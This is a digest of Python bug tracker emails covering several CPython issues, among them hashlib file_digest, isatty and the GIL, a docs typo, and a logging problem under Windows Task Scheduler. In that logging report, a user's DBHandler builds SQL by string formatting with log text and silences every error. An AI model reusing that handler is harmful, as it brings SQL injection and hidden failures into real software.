Subject: [issue44860] sysconfig's posix_user scheme has different platlib
 value to distutils's unix_user
In-Reply-To: <1628346558.35.0.0800108572532.issue44860@roundup.psfhosted.org>
Message-ID: <1631181262.46.0.678827958555.issue44860@roundup.psfhosted.org>


STINNER Victor  added the comment:

I marked bpo-45136 as a duplicate of this issue.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 06:00:08 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 10:00:08 +0000
Subject: [issue45083] Need to use the exception class qualname when rendering
 exception (in C code)
In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org>
Message-ID: <1631181608.53.0.834256864437.issue45083@roundup.psfhosted.org>


STINNER Victor  added the comment:

I reopen the issue. I'm not comfortable with the backport.

For me, this change is not a bugfix, but a new feature. It can break applications which rely on the exact error message in their test suite. I'm not sure why it was backported to Python 3.9. Moreover, I'm not comfortable to backport it to 3.10.1 and not 3.10.0.

I would prefer to only change the behavior in Python 3.11. If you want to get it in 3.10, I suggest to convince Pablo to get in 3.10.0.

Otherwise, I suggest to revert it in 3.9 and 3.10.

Well, the qualified name is usually the same than the short name, so only few applications should be impacted. But it's annoying when the Python behavior changes in a minor version (3.x.y).

----------
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 06:03:17 2021
From: report at bugs.python.org (=?utf-8?q?Tarek_Ziad=C3=A9?=)
Date: Thu, 09 Sep 2021 10:03:17 +0000
Subject: [issue45150] Add a file_digest() function in hashlib
Message-ID: <1631181797.37.0.346326276713.issue45150@roundup.psfhosted.org>


New submission from Tarek Ziad? :

I am proposing the addition of a very simple helper to return the hash of a file.

----------
assignee: tarek
components: Library (Lib)
messages: 401457
nosy: tarek
priority: normal
severity: normal
status: open
title: Add a file_digest() function in hashlib

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 06:04:49 2021
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 09 Sep 2021 10:04:49 +0000
Subject: [issue45150] Add a file_digest() function in hashlib
In-Reply-To: <1631181797.37.0.346326276713.issue45150@roundup.psfhosted.org>
Message-ID: <1631181889.68.0.0915008741899.issue45150@roundup.psfhosted.org>


Change by Roundup Robot :


----------
keywords: +patch
nosy: +python-dev
nosy_count: 1.0 -> 2.0
pull_requests: +26673
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28252

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 06:05:25 2021
From: report at bugs.python.org (Vincent Michel)
Date: Thu, 09 Sep 2021 10:05:25 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631181925.4.0.456089899673.issue44219@roundup.psfhosted.org>


Vincent Michel  added the comment:

There are a couple of reasons why I did not make changes to the stdstream related functions. 

The first one is that a PR with many changes is less likely to get reviewed and merged than a PR with fewer changes. The second one is that it's hard for me to make sure that those functions are always called with the GIL already held. Maybe some of them never hold the GIL in the first place, and I'm not familiar enough with the code base to tell.

So in the end it will probably be up to the coredev reviewing the PR, but better start small.

> Besides, nothing prevents somebody from starting a FUSE file system and then redirecting stdout to it ?

I ran some checks and `python -c 'input()' < my-fuse-mountpoint/data_in` does indeed trigger an ioctl call to the corresponding fuse file system. But how would `my-fuse-mountpoint/data_in` be the stdin for the process that itself starts the fuse filesystem? I don't see how to generate this deadlock, apart from setting up interprocess communication between the fuse process and the `my-fuse-mountpoint/data_in`-as-stdin process.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 06:12:42 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 09 Sep 2021 10:12:42 +0000
Subject: [issue45083] Need to use the exception class qualname when rendering
 exception (in C code)
In-Reply-To: <1630532795.5.0.16726920843.issue45083@roundup.psfhosted.org>
Message-ID: <1631182362.41.0.795601896184.issue45083@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

"{__module__}.{__name__}" is just incorrect reference if __name__ != __qualname__. Error messages should always use "{__module__}.{__qualname__}" or just "{__name__}". I see this as a bug. Fortunately very few code is affected.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 06:16:36 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 09 Sep 2021 10:16:36 +0000
Subject: [issue45150] Add a file_digest() function in hashlib
In-Reply-To: <1631181797.37.0.346326276713.issue45150@roundup.psfhosted.org>
Message-ID: <1631182596.33.0.574164856937.issue45150@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
nosy: +christian.heimes, gregory.p.smith
type:  -> enhancement
versions: +Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 06:30:50 2021
From: report at bugs.python.org (Batuhan Taskaya)
Date: Thu, 09 Sep 2021 10:30:50 +0000
Subject: [issue45017] move opcode-related logic from modulefinder to dis
In-Reply-To: <1629991523.03.0.713771310872.issue45017@roundup.psfhosted.org>
Message-ID: <1631183450.27.0.974648958226.issue45017@roundup.psfhosted.org>


Batuhan Taskaya  added the comment:

Does find_imports/find_store_names have to be public? I think the relocation is fine, but making them public without any use case from outside can be avoided at least for now.

----------
nosy: +BTaskaya

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 06:48:47 2021
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 09 Sep 2021 10:48:47 +0000
Subject: [issue45150] Add a file_digest() function in hashlib
In-Reply-To: <1631181797.37.0.346326276713.issue45150@roundup.psfhosted.org>
Message-ID: <1631184527.72.0.575812256156.issue45150@roundup.psfhosted.org>


Christian Heimes  added the comment:

Hey Tarek, long time no see!

* the _sha256 module is optional, can be disabled and is not available in some distributions.

* I also don't like to use sha256 has default. It's slow, even slower than sha512. Any default makes it also harder to upgrade to a better, more secure default in the future.

* like hmac.new() a file_digest() should accept PEP 452-compatible arguments and hash name as digstmod argument, not just a callable.

* a filename argument prevents users from passing in file-like objects like BytesIO.

* 4096 bytes chunk size is very conservative. The call overhead for read() and update() may dominate the performance of the function.

* The hex argument feels weird.

In a perfect world, the hash and hmac objects should get an "update_file" method. The OpenSSL-based hashes could even release the GIL and utilize OpenSSL's BIO layer to avoid any Python overhead.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 06:56:27 2021
From: report at bugs.python.org (=?utf-8?q?Tarek_Ziad=C3=A9?=)
Date: Thu, 09 Sep 2021 10:56:27 +0000
Subject: [issue45150] Add a file_digest() function in hashlib
In-Reply-To: <1631181797.37.0.346326276713.issue45150@roundup.psfhosted.org>
Message-ID: <1631184987.88.0.570804518489.issue45150@roundup.psfhosted.org>


Tarek Ziad?  added the comment:

Hey Christian, I hope things are well for you!
Thanks for all the precious feedback, I'll rework the patch accordingly

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 07:03:32 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 11:03:32 +0000
Subject: [issue45017] move opcode-related logic from modulefinder to dis
In-Reply-To: <1629991523.03.0.713771310872.issue45017@roundup.psfhosted.org>
Message-ID: <1631185412.61.0.615019908977.issue45017@roundup.psfhosted.org>


Irit Katriel  added the comment:

I agree, I?ll make them private.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 07:48:17 2021
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 09 Sep 2021 11:48:17 +0000
Subject: [issue20499] Rounding errors with statistics.variance
In-Reply-To: <1391431579.33.0.244887922603.issue20499@psf.upfronthosting.co.za>
Message-ID: <1631188097.04.0.289098660123.issue20499@roundup.psfhosted.org>


Steven D'Aprano  added the comment:

> rhettinger requested a review from stevendaprano yesterday

This is not a complaint Raymond, but you're too quick for me!

Your changes look good to me, thank you.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 08:02:18 2021
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 09 Sep 2021 12:02:18 +0000
Subject: [issue20499] Rounding errors with statistics.variance
In-Reply-To: <1391431579.33.0.244887922603.issue20499@psf.upfronthosting.co.za>
Message-ID: <1631188938.67.0.732171228397.issue20499@roundup.psfhosted.org>


Steven D'Aprano  added the comment:

Regarding the call to sorted that you removed.

I just realised that this was buggy! In my testing, I found that there was a consistent speed-up by summing fractions in order of increasing denominators (small denominators first):


>>> from fractions import Fraction
>>> from timeit import Timer
>>> from random import shuffle
>>>
>>> d1 = [Fraction(1, d) for d in range(1, 1000)]
>>> d2 = d1[:]
>>> shuffle(d2)
>>>
>>> t1 = Timer('sum(d)', setup='from __main__ import d1 as d')
>>> t2 = Timer('sum(d)', setup='from __main__ import d2 as d')
>>> 
>>> min(t1.repeat(number=100, repeat=7)) # small dens first
1.048042511974927
>>> min(t1.repeat(number=100, repeat=7))
1.0449080819962546
>>>
>>> min(t2.repeat(number=100, repeat=7)) # random order
1.2761094039888121
>>> min(t2.repeat(number=100, repeat=7))
1.2763739289948717

Summing larger denominators before smaller denominators is even slower:

>>> d3 = list(reversed(d1))
>>> t3 = Timer('sum(d)', setup='from __main__ import d3 as d')
>>> 
>>> min(t3.repeat(number=100, repeat=7)) # large dens first
1.6581684999982826
>>> min(t3.repeat(number=100, repeat=7))
1.6580656860023737


But then I screwed up by sorting the *tuples* (num, den) which would have the effect of summing small *numerators* first, not denominators.

Thanks for catching that they way I had written it, the sort would have had at best no real performance benefit.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 08:09:41 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Thu, 09 Sep 2021 12:09:41 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631189381.36.0.026034321885.issue45147@roundup.psfhosted.org>


Change by Eric V. Smith :


----------
keywords: +easy, newcomer friendly

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 08:16:48 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Thu, 09 Sep 2021 12:16:48 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631189808.29.0.176418476532.issue45147@roundup.psfhosted.org>


Change by Eric V. Smith :


----------
nosy: +eric.smith

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 08:48:04 2021
From: report at bugs.python.org (Saurabh Jaiswal)
Date: Thu, 09 Sep 2021 12:48:04 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631191684.22.0.894495581177.issue45147@roundup.psfhosted.org>


Saurabh Jaiswal  added the comment:

i want to take this change, i just want to know the steps how to push this changes and raise PR for the same

----------
nosy: +saurabh37

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 08:56:30 2021
From: report at bugs.python.org (Ross Martin)
Date: Thu, 09 Sep 2021 12:56:30 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631192190.13.0.190754847878.issue45147@roundup.psfhosted.org>


Ross Martin  added the comment:

I would like to fix this, if it hasnt been assigned already.

----------
nosy: +MrRBM97

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:00:16 2021
From: report at bugs.python.org (D.Lintin)
Date: Thu, 09 Sep 2021 13:00:16 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631192416.32.0.771220040009.issue45147@roundup.psfhosted.org>


D.Lintin  added the comment:

Already create a pull request, thanks.

----------
nosy: +dlintin

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:04:20 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 13:04:20 +0000
Subject: [issue45017] move opcode-related logic from modulefinder to dis
In-Reply-To: <1629991523.03.0.713771310872.issue45017@roundup.psfhosted.org>
Message-ID: <1631192660.17.0.54195196013.issue45017@roundup.psfhosted.org>


Irit Katriel  added the comment:


New changeset 04676b69466d2e6d2903f1c6879d2cb292721455 by Irit Katriel in branch 'main':
bpo-45017: move opcode-related logic from modulefinder to dis (GH-28246)
https://github.com/python/cpython/commit/04676b69466d2e6d2903f1c6879d2cb292721455


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:05:31 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 13:05:31 +0000
Subject: [issue45017] move opcode-related logic from modulefinder to dis
In-Reply-To: <1629991523.03.0.713771310872.issue45017@roundup.psfhosted.org>
Message-ID: <1631192731.93.0.521756935596.issue45017@roundup.psfhosted.org>


Change by Irit Katriel :


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:12:08 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 09 Sep 2021 13:12:08 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631193128.22.0.99404530182.issue44219@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset 06148b1870fceb1a21738761b8e1ac3bf654319b by Vincent Michel in branch 'main':
bpo-44219: Release the GIL during isatty syscalls (GH-28250)
https://github.com/python/cpython/commit/06148b1870fceb1a21738761b8e1ac3bf654319b


----------
nosy: +vstinner

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:12:13 2021
From: report at bugs.python.org (miss-islington)
Date: Thu, 09 Sep 2021 13:12:13 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631193133.37.0.142670161932.issue44219@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 3.0 -> 4.0
pull_requests: +26674
pull_request: https://github.com/python/cpython/pull/28255

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:12:17 2021
From: report at bugs.python.org (miss-islington)
Date: Thu, 09 Sep 2021 13:12:17 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631193137.7.0.0350910982083.issue44219@roundup.psfhosted.org>


Change by miss-islington :


----------
pull_requests: +26675
pull_request: https://github.com/python/cpython/pull/28256

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:13:22 2021
From: report at bugs.python.org (Nitish Sharma)
Date: Thu, 09 Sep 2021 13:13:22 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631193202.26.0.969037932653.issue45147@roundup.psfhosted.org>


Nitish Sharma  added the comment:

Yeah, are you talking about this PR?

https://github.com/python/cpython/pull/28254

----------
nosy: +nitss007

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:18:44 2021
From: report at bugs.python.org (D.Lintin)
Date: Thu, 09 Sep 2021 13:18:44 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631193524.11.0.113698828472.issue45147@roundup.psfhosted.org>


D.Lintin  added the comment:

no, this one: https://github.com/python/cpython/pull/28253

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:19:27 2021
From: report at bugs.python.org (Phil Thompson)
Date: Thu, 09 Sep 2021 13:19:27 +0000
Subject: [issue44492] Building a C extension on Big Sur and SDK v10.15 fails
In-Reply-To: <1624409568.36.0.590312520398.issue44492@roundup.psfhosted.org>
Message-ID: <1631193567.36.0.796521338502.issue44492@roundup.psfhosted.org>


Phil Thompson  added the comment:

Is this likely to be fixed for v3.10? At the very least a wheel should have the correct platform tag.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:34:29 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Thu, 09 Sep 2021 13:34:29 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631194469.09.0.175717024813.issue45147@roundup.psfhosted.org>


Eric V. Smith  added the comment:

Please see the dev guide https://devguide.python.org/ for setting the description of the PR. If it's set correctly, the PR will be attached to this issue.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:37:02 2021
From: report at bugs.python.org (Saurabh Jaiswal)
Date: Thu, 09 Sep 2021 13:37:02 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631191684.22.0.894495581177.issue45147@roundup.psfhosted.org>
Message-ID: 


Saurabh Jaiswal  added the comment:

PR raised for the same
https://github.com/python/cpython/pull/28257

On Thu, 9 Sept 2021 at 18:19, Saurabh Jaiswal 
wrote:

>
> Saurabh Jaiswal  added the comment:
>
> i want to take this change, i just want to know the steps how to push this
> changes and raise PR for the same
>
> ----------
> nosy: +saurabh37
>
> _______________________________________
> Python tracker 
> 
> _______________________________________
>

-- 

*Thanks & Regards*

Saurabh Jaiswal

*www.saurabhjaiswal.com *

*+91-7032917377*

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:37:05 2021
From: report at bugs.python.org (Saurabh Jaiswal)
Date: Thu, 09 Sep 2021 13:37:05 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631194625.6.0.435993052508.issue45147@roundup.psfhosted.org>


Saurabh Jaiswal  added the comment:

Fix done on the latest Branch as suggested

----------
keywords: +patch
message_count: 8.0 -> 9.0
pull_requests: +26676
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28257

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:38:47 2021
From: report at bugs.python.org (D.Lintin)
Date: Thu, 09 Sep 2021 13:38:47 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631194727.7.0.93572548567.issue45147@roundup.psfhosted.org>


Change by D.Lintin :


----------
pull_requests: +26677
pull_request: https://github.com/python/cpython/pull/28253

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:40:18 2021
From: report at bugs.python.org (D.Lintin)
Date: Thu, 09 Sep 2021 13:40:18 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631194818.3.0.904930137698.issue45147@roundup.psfhosted.org>


D.Lintin  added the comment:

Just updated the description to attach to the issues, thanks.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:40:50 2021
From: report at bugs.python.org (miss-islington)
Date: Thu, 09 Sep 2021 13:40:50 +0000
Subject: [issue44219] Opening a file holds the GIL when it calls "isatty()"
In-Reply-To: <1621790293.8.0.271052485401.issue44219@roundup.psfhosted.org>
Message-ID: <1631194850.9.0.838544834333.issue44219@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset 5c65834d801d6b4313eef0684a30e12c22ccfedd by Miss Islington (bot) in branch '3.9':
bpo-44219: Release the GIL during isatty syscalls (GH-28250)
https://github.com/python/cpython/commit/5c65834d801d6b4313eef0684a30e12c22ccfedd


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:40:56 2021
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 09 Sep 2021 13:40:56 +0000
Subject: [issue45067] Failed to build _curses on CentOS 7
In-Reply-To: <1630453143.24.0.854803512429.issue45067@roundup.psfhosted.org>
Message-ID: <1631194856.6.0.637289151145.issue45067@roundup.psfhosted.org>


Senthil Kumaran  added the comment:

A change like this will be required since these funcs were introduced only recently and nurses shipped with centos was older.

% git diff
diff --git a/Modules/_cursesmodule.c b/Modules/_cursesmodule.c
index 61aaf85522..6fb6c490e6 100644
--- a/Modules/_cursesmodule.c
+++ b/Modules/_cursesmodule.c
@@ -135,7 +135,7 @@ typedef chtype attr_t;           /* No attr_t type is available */
 #define STRICT_SYSV_CURSES
 #endif

-#if NCURSES_EXT_COLORS+0 && NCURSES_EXT_FUNCS+0
+#if (defined(NCURSES_EXT_FUNCS) && NCURSES_EXT_FUNCS >= 20170401) && (defined(NCURSES_EXT_COLORS) && NCURSES_EXT_COLORS >= 20170401)
 #define _NCURSES_EXTENDED_COLOR_FUNCS   1
 #else
 #define _NCURSES_EXTENDED_COLOR_FUNCS   0

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:45:09 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Thu, 09 Sep 2021 13:45:09 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631195109.63.0.0282576390085.issue45147@roundup.psfhosted.org>


Eric V. Smith  added the comment:

Thanks to both of you. Unfortunately, I have to pick one PR to use, and since dlintin had the earlier one, I'll use it.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:46:02 2021
From: report at bugs.python.org (D.Lintin)
Date: Thu, 09 Sep 2021 13:46:02 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631195162.82.0.526417464358.issue45147@roundup.psfhosted.org>


D.Lintin  added the comment:

Thankyou!

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:47:28 2021
From: report at bugs.python.org (Brian Hunt)
Date: Thu, 09 Sep 2021 13:47:28 +0000
Subject: [issue45151] Logger library with task scheduler
Message-ID: <1631195248.81.0.804167801454.issue45151@roundup.psfhosted.org>


New submission from Brian Hunt :

Version: Python 3.9.3
Package: Logger + Windows 10 Task Scheduler
Error Msg: None

Behavior:
I built a logging process to use with a python script that will be scheduled with Windows 10 task scheduler (this could be a bug in task scheduler too, but starting here). I noticed it wasn?t working and started trying to trace the root of the issue.

If I created a new file called scratch.py and ran some code, the logs showed up. However, the exact same code in the exact same folder (titled: run_xyz.py) didn?t log those same messages. It appears that something in either the task scheduler or logger library doesn?t like the fact that my file name contains an underscore because as soon as I pointed my task scheduler task that didn?t log to my other file, it worked again. Also, when I finally removed the underscores it started working. I believe it is Logger library related because the task with underscores does in fact run the python code and generate the script output.



Code in both files:
-----------------a_b_c.py code-----------
import os
import pathlib
import sys

pl_path = pathlib.Path(__file__).parents[1].resolve()
sys.path.append(str(pl_path))



from src.Core.Logging import get_logger
#
logger = get_logger(__name__, False)
logger.info("TESTING_USing taskScheduler")



-------src.Core.Logging.py get_logger code--------
import logging
import datetime
import time
import os

# from logging.handlers import SMTPHandler

from config import build_stage, log_config
from Pipelines.Databases import sqlAlchemy_logging_con


class DBHandler(logging.Handler):
    def __init__(self, name):
        """

        :param name: Deprecated
        """
        logging.StreamHandler.__init__(self)
        self.con = sqlAlchemy_logging_con()
        self.sql = """insert into Logs (LogMessage, Datetime, FullPathNM, LogLevelNM, ErrorLine) values ('{message}', '{dbtime}', '{pathname}', '{level}', '{errLn}')"""
        self.name = name



    def formatDBTime(self, record):
        record.dbtime = datetime.strftime("#%Y/%m/%d#", datetime.localtime(record.created))

    def emit(self, record):
        creation_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(record.created))

        try:
            self.format(record)

            if record.exc_info:
                record.exc_text = logging._defaultFormatter.formatException(record.exc_info)
            else:
                record.exc_text = ""

            sql = self.sql.format(message=record.message
                                  , dbtime=creation_time
                                  , pathname=record.pathname
                                  , level=record.levelname
                                  , errLn=record.lineno)

            self.con.execute(sql)




        except:
            pass


def get_logger(name, use_local_logging=False):
    """
    Returns a logger based on a name given. Name should be __name__ variable or unique for each call.
    Never call more than one time in a given file as it clears the logger. Use config.log_config to define configuration
    of the logger and its handlers.
    :param name:
    :return: logger
    """
    logger = logging.getLogger(name)
    logger.handlers.clear()

    # used to send logs to local file location. Level set to that of logger
    if use_local_logging:
        handler = logging.FileHandler("Data\\Output\\log_" + build_stage + str(datetime.date.today()).replace("-","") + ".log")
        handler.setLevel(log_config['logger_level'])
        logger.addHandler(handler)

    dbhandler = DBHandler(name)
    dbhandler.setLevel(log_config['db_handler_level'])
    logger.addHandler(dbhandler)
    logger.setLevel(log_config['logger_level'])



    return logger

----------
components: IO, Library (Lib), Windows
messages: 401482
nosy: btjehunt, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Logger library with task scheduler
type: behavior
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 09:52:43 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Thu, 09 Sep 2021 13:52:43 +0000
Subject: [issue45147] Typo in "What's New In Python 3.10" documentation
In-Reply-To: <1631168340.99.0.160040683472.issue45147@roundup.psfhosted.org>
Message-ID: <1631195563.16.0.377905310066.issue45147@roundup.psfhosted.org>


Eric V. Smith  added the comment:

@pablogsal: You might want to merge this back to 3.10.0, once it's merged to 3.10. I'll merge it shortly, once the tests have run.

----------
keywords:  -patch
nosy: +pablogsal
stage: patch review -> 

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 10:08:41 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Thu, 09 Sep 2021 14:08:41 +0000
Subject: [issue45151] Logger library with task scheduler
In-Reply-To: <1631195248.81.0.804167801454.issue45151@roundup.psfhosted.org>
Message-ID: <1631196521.66.0.603133312223.issue45151@roundup.psfhosted.org>


Eric V. Smith  added the comment:

Can you simplify this to not use any external libraries?

----------
components:  -IO, Windows
nosy: +eric.smith

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 10:09:24 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 14:09:24 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
Message-ID: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>


New submission from Irit Katriel :

This issue is to prepare the code for splitting LOAD_CONST to several opcodes.

There are a number of places in the code where an opcode is compared to LOAD_CONST (such as dis, the compiler, and the peephole optimizer). These need to be refactored to make the query "is this a hasconst opcode", and the value calculation needs to be refactored into a single place, which can later be updated to get the value from places other than co_consts.

----------
assignee: iritkatriel
components: Interpreter Core, Library (Lib)
messages: 401485
nosy: iritkatriel
priority: normal
severity: normal
status: open
title: Prepare for splitting LOAD_CONST into several opcodes
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 10:10:32 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 14:10:32 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631196632.69.0.931369004341.issue45152@roundup.psfhosted.org>


Change by Irit Katriel :


----------
nosy: +gvanrossum

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 10:20:10 2021
From: report at bugs.python.org (Irit Katriel)
Date: Thu, 09 Sep 2021 14:20:10 +0000
Subject: [issue45152] Prepare for splitting LOAD_CONST into several opcodes
In-Reply-To: <1631196564.41.0.680638780635.issue45152@roundup.psfhosted.org>
Message-ID: <1631197210.92.0.0329418080277.issue45152@roundup.psfhosted.org>


Change by Irit Katriel :


----------
keywords: +patch
pull_requests: +26678
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28258

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 10:35:50 2021
From: report at bugs.python.org (Shlomi)
Date: Thu, 09 Sep 2021 14:35:50 +0000
Subject: [issue45153] Except multiple types of exceptions with OR keyword is
 not working
Message-ID: <1631198150.11.0.821790716144.issue45153@roundup.psfhosted.org>


New submission from Shlomi :

When I want to catch multiple types of exceptions naturally 'OR' keyword is used. But it doesn't work. The interpreter doesn't show any error for the syntax, so developer may think it would work.

Small example:

try:
    myfunc()
except ConnectionResetError or ConnectionAbortedError:
    print("foo")
except Exception as e:
    print("bar")

When myfunc() throws 'ConnectionAbortedError' the interpreter enters "bar" block, and not "foo" block.

----------
components: Interpreter Core
messages: 401486
nosy: ShlomiRex
priority: normal
severity: normal
status: open
title: Except multiple types of exceptions with OR keyword is not working
type: behavior
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Sep  9 10:36:38 2021
From: report at bugs.python.org (Sanmitha)
Date: Thu, 09 Sep 2021 14:36:38 +0000
